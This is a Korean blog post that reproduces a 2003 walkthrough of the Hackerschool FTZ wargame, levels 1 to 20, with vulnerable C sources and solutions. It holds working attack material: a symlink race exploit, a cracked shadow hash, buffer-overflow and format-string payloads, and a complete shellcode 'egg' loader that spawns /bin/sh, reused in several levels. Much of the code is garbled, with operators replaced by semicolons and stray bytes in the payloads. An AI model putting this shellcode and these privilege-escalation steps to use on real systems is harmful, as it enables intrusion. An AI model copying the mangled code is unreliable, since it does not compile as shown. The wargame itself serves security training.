군대 제대하고 풀었던 문제들이네요. 지금은 문제풀이가 많이 바뀌었겠지만 기본 개념은 거기서 거기일듯. 여튼 2012년도에 2003년 문서를 보니 감회가 새롭네요~ writer : ttongfly@realskulls.org2003. 7. 17 homepage : http://ttongfly.realskulls.org wargamez URL : telnet://ftz.hackerschool.org
레벨 :: 1
level2 권한에 setuid가 걸린 파일을 찾는다.
레벨2의 권한으로 당신이 원하는 명령어를 한가지 실행시켜 드리겠습니다. (단, my-pass 와 chmod는 제외) 어떤 명령을 실행시키겠습니까?
Level2 Password is “hacker or cracker”.
레벨 :: 2
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데…
Level3 Password is “can you fly?”.
레벨 :: 3
다음 코드는 autodig의 소스이다.
int main(int argc, char **argv){ char cmd[100]; if( argc!=2 ){ printf( “Auto Digger Version 0.9\\n” ); printf( “Usage : %s host\\n”, argv[0] ); exit(0); } strcpy( cmd, “dig @” ); strcat( cmd, argv[1] ); strcat( cmd, ” version.bind chaos txt”); system( cmd ); } 이를 이용하여 level4의 권한을 얻어라. more hints. – 동시에 여러 명령어를 사용하려면? – 문자열 형태로 명령어를 전달하려면?
Level4 Password is “suck my brain”.
레벨 :: 4
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
finger 포트는 79번이므로 79번 포트로 다른 호스트에서 원격으로 접속해도 가능하다
레벨 :: 5 (Race Condition)
/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다. 이를 이용하여 level6의 권한을 얻어라.
int main() { int i; for (i=0;i;=100000;i++) { system (“rm -rf /tmp/level5.tmp”); system (“ln -s/home/level5/tmp/pass.txt /tmp/level5.tmp”); } }
int main() { int i; for (i=0;i;=100000;i++) { system(“/usr/bin/level5”); } }
[8]+Stopped ./exp1
레벨 :: 6
hint – 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다. Control + C
레벨 :: 7
/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다. 1. 패스워드는 가까운곳에.. 2. 상상력을 총동원하라. 3. 2진수를 10진수를 바꿀 수 있는가? 4. 계산기 설정을 공학용으로 바꾸어라.
–_–_- –____- —_-__ –__-_- Binary : 1101101110000111101001100101 Decimal : 109 97 116 101 Hex : 6D 61 74 65
Congratulation! next password is “break the world”.
레벨 :: 8
level9의 shadow 파일이 서버 어딘가에 숨어있다. 그 파일에 대해 알려진 것은 용량이 “1481”이라는 것 뿐이다.
해커스쿨에서는 wget으로 파일을 다운 받을수 없게 설정이 되어 있어, 도스용 존더리퍼를 다운받아서 쉐도우 패스워드 크랙에 사용했음 http://packetstormsecurity.nl/Crackers/john-16d.zip 다운로드 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\Documents and Settings\\Admin;e: E:\\;cd john* E:\\JOHN-16;cd run E:\\JOHN-16\\RUN;copy con shadow.txt level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 ^Z 1개 파일이 복사되었습니다. E:\\JOHN-16\\RUN;john shadow.txt Loaded 1 password (FreeBSD MD5 [32/32]) apple(level9) guesses: 1time: 0:00:00:01 100% (2)c/s: 2673trying: apple E:\\JOHN-16\\RUN;
레벨 :: 9
다음은 /usr/bin/bof의 소스이다.
main(){ char buf2[10]; char buf[10]; printf(“It can be overflow : “); fgets(buf,40,stdin); if ( strncmp(buf2, “go”, 2) == 0 ) { printf(“Good Skill!\\n”); setreuid( 3010, 3010 ); system(“/bin/bash”); } } 이를 이용하여 level10의 권한을 얻어라.
다시말해 스택의 구조가 [buf][buf2][dummy 6bytez][sfp][ret] 이렇게 구성됨 buf에서 buf2까지 10bytes + dummy 6bytes + sfp 2bytes = ret BBBBBBBBBB(buf값) + BBBBBB (dummy값) + go(sfp) = ret
Level10 Password is “interesting to hack!”.
레벨 :: 10
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다. 그 대화방은 공유 메모리를 이용하여 만들어졌으며, key_t의 값은 7530, 대화를 나눌 때 사용하는 변수명은 text라고 한다. 이를 이용해 두 사람의 대화를 도청하여 hall의 권한을 얻어라. – 레벨을 완료하셨다면 소스는 지우고 나가주세요.
shmid = shmget(7530,1000,0666); // shmget : 새로운 메시지 큐를 만들거나 존재하는 큐에 접근하기위해 사용됨 // PROTOTYPE: int shmget ( key_t key, int size, int shmflg ); sham = shmat(shmid, NULL, 0); // shmat : 메모리 영역이 나타날 가상 주소를 지정 // PROTOTYPE: int shmat ( int shmid, char *shmaddr, int shmflg); printf(“sham(내용)은 : \\n%s”, sham); shmdt(sham);
레벨 :: 11
int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); }
char shellcode[] = “\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46” “\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89” “\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68” “\\x00\\xc9\\xc3\\x90/bin/sh”; unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize – 1] = \’\\0\’; egg[eggsize – 1] = \’\\0\’; memcpy(egg,”EGG=”,4); putenv(egg); memcpy(buff,”RET=”,4); putenv(buff); system(“/bin/bash”); }
sh-2.05a$ my-pass TERM environment variable not set. Level12 Password is “it is like this”.
레벨 :: 12
int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( “문장을 입력하세요.\\n” ); gets( str ); printf( “%s\\n”, str ); }
level11의 egg.c 랑 같은 소스
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa橈?
Level13 Password is “have no clue”.
자 소스를 보면 buf[256]으로 되어 있다. 그렇다면 [buf256]+[$ebp4]+[ret] 이기 때문에 260의 쓰레기값을 던지고 egg쉘의 주소를 넣어주어야 할텐데 왜 268을 넣었을까.
[buf보다 큰 16의 배수값]+[dummy 8bytez]+[$ebp 4bytez]+[ret] 이와같은 메모리 구조를 갖게 된다. 따라서 이 문제의 경우 [buf256]+[dummy 8]+[$ebp 4] = 268 이 된다.. 그리하여 buffer overflow 시켜 ret값을 변경하기 위해서는 쓰레기값을 268개 넣어주어야 하는 것이다.
레벨 :: 13 (Stack Guard)
setreuid( 3094, 3094 ); if(argc ; 1) strcpy(buf,argv[1]);
레벨 11의 egg.c 소스 작성
스택가드가 시작되는 부분은 1036번쨰 부터이다. 1035까지 쓰레기값을 넣어준다음에 1036부터 1040까지 스택가드를 보호해준 후에 다시 ret값을 변조하면 된다.
setreuid( 3094, 3094 ); if(argc ; 1) strcpy(buf,argv[1]);
[buf1024][dummy10][Guard4][dummy8][$ebp4][ret] 1036 1040 자 gcc2.96에서는 16의 배수지점에 변수값을 할당한다고 했다. 여기서 Guard가 끝나는 부분이 1040이다. 16*65=1040인가 그렇다. 이 부분에 dummy값 8과 $ebp값 4바이트를 할당한 후에 ret값이 오게된다. 그래서 buf 1024와 dummy10만큼 a로 채워준후 스택가드를 보호해주고 dummy8과 ebp4를 a로 채운후 ret값에 접근할수 있다 egg는 tmp폴더에 이미 설치했다고 가정하겠다 -_-;
sh-2.05a$ my-pass TERM environment variable not set. Level14 Password is “what that nigga want?”.
레벨 :: 14
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이 최고의 효과를 가져다줍니다.
my-pass Level15 Password is “guess what”.
레벨 :: 15
자 소스코드를 복사해서 dumpcode() 함수를 넣은후에 컴팔하고… buf 첫번째 주소값에 죽은쇠고기값을 넣고.. buf값 32와.. dummy 8바이트.. 그 다음에 ret값에 buf의 첫번째 주소값.. 즉 죽은쇠고기가 있는 주소값을 넣어주니.. 쉘이떳다.. 자 gdb를 이용해서 buf주소값인 \\xc0\\xfa\\xff\\xbf(bffffac0) 를 찾아보는 방법을 살펴보자
Level16 Password is “about to cause mass”. level15를 푸는데 도와주신 indra님께 감사드립니다. gdb사용법도 많이 배워꾸^^
레벨 :: 16
void shell() { setreuid(3097,3097); system(“/bin/sh”); } void printit() { printf(“Hello there!\\n”); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); }
my-pass Level17 Password is “king poetic”. 자.. 아주 쉽게 클리어했다.^^14
레벨 :: 17
void printit() { printf(“Hello there!\\n”); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call(); }
egg쉘을 설치하고.
이제 40개의 bufferoverflow를 한 후 egg 쉘을 띄우면.. 완료가 될 것으로 예상된다. 해보자.
예상대로다 ^^; my-pass TERM environment variable not set. Level18 Password is “why did you do it”.
레벨 :: 18
void shellout(void) { setreuid(3099,3099); execl(“/bin/sh”,”sh”,NULL); }
=- 소스분석 -=
void shellout(void) { setreuid(3099,3099); execl(“/bin/sh”,”sh”,NULL); }
[int check]+[char string(100)] 의 형식임을 확인.
Level19 Password is “swimming in pink”.
레벨 :: 19
main() { char buf[20]; gets(buf); printf(“%s\\n”,buf); }
메모리구조는 다음과 같음을 알 수 있다. [buf20][dummy12][dummy8][ebp][ret]
char shellcode[] = “\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46” “\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89” “\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68” “\\x00\\xc9\\xc3\\x90/bin/sh”; unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize – 1] = \’\\0\’; egg[eggsize – 1] = \’\\0\’; memcpy(egg,”EGG=”,4); putenv(egg); memcpy(buff,”RET=”,4); putenv(buff); system(“/bin/bash”); }
q /bin/sh: q: command not found
쉘이 떳지만… 렙이 올라가질 않는다. 이유는 egg쉘 코드에 setreuid() 함수를 추가하지 않았기 때문이다. setreuid(3100,3100); 이 쉘코드의 주소를 구하고 egg쉘코드에 추가한후 다시 공격해 보기로 하자.
my-pass TERM environment variable not set. Level20 Password is “we are just regular guys”.
레벨 :: 20
unsigned long get_esp(void) { __asm__(“movl %esp,%eax”); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc ; 1) bsize = atoi(argv[1]); if (argc ; 2) offset = atoi(argv[2]); if (argc ; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } if (!(egg = malloc(eggsize))) { printf(“Can\’t allocate memory.\\n”); exit(0); } addr = get_esp() – offset; printf(“Using address: 0x%x\\n”, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i ; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i ; eggsize – strlen(shellcode) – 1; i++) *(ptr++) = NOP; for(i = 0; i ; strlen(shellcode); i++) *(ptr++) = shellcode[i];
리턴어드레스값 : 08049508+$ebp+ret fad8(64216)-16=64200 (1bfff)114687-(fad8)64216=50471
my-pass TERM environment variable not set. clear Password is “i will come in a minute”. 웹에서 등록하세요. * 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다. 당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다. 해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다. 이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.